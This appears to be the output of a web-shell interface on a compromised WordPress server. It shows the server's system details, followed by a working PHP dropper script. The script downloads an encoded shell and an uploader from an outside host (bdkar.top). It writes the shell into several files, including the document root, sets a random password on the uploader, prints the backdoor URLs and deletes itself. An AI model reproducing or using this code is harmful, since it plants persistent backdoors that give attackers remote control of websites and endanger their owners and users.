| Server IP : 146.190.157.162 / Your IP : 216.73.216.152 Web Server : Apache System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64 User : vergeskit ( 679) PHP Version : 8.2.10-2ubuntu2.2 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/html/vergeskit/wp-admin/maint/ |
Upload File : |
<?php
$shell_encrypted = curl('https://bdkar.top/shl/fox-bdkr-shel.txt');
$shell = base64_decode($shell_encrypted);
$link = str_replace(basename(__FILE__), '', 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']);
$file1_name = mt_rand_str(8);
$file1 = 'BDKR28_' . $file1_name . '.php';
$file2_name = mt_rand_str(8);
$file2 = $file2_name . '.php';
$password = mt_rand_str(4);
$save = fopen($file1, 'w');
fwrite($save, $shell);
fclose($save);
$root_save = fopen($_SERVER['DOCUMENT_ROOT'] . '/BDKR28WP.php', 'w');
fwrite($root_save, $shell);
fclose($root_save);
$uploader = curl('https://bdkar.top/shl/uploader-pass.txt');
$uploader = str_replace('RANDOM_PASSWORD', $password, $uploader);
$save = fopen($file2, 'w');
fwrite($save, $uploader);
fclose($save);
$txt_url = "https://bdkar.top/shl/bdkr.txt";
$txt_content = curl($txt_url);
$txt_file = fopen("BDKR.txt", "w");
fwrite($txt_file, $txt_content);
fclose($txt_file);
function mt_rand_str($l, $c = 'abcdefghijklmnopqrstuvwxyz1234567890') {
for ($s = '', $cl = strlen($c) - 1, $i = 0; $i < $l; $s .= $c[mt_rand(0, $cl)], ++$i);
return $s;
}
function curl($url) {
$html = file_get_contents($url);
if (!empty($html)) { return $html; }
$curl = curl_init();
curl_setopt($curl, CURLOPT_TIMEOUT, 40);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0");
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);
if (stristr($url, "https://")) {
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
}
curl_setopt($curl, CURLOPT_HEADER, false);
return curl_exec($curl);
}
?>
<shell><font color="red"><center> Shell : <?php echo $link . $file1; ?></center></font><br></shell>
<up><font color="green"><center> Up : <?php echo $link . $file2 . '?BDKR28=' . $password; ?></center></font><br></up>
<?php unlink(__FILE__); ?>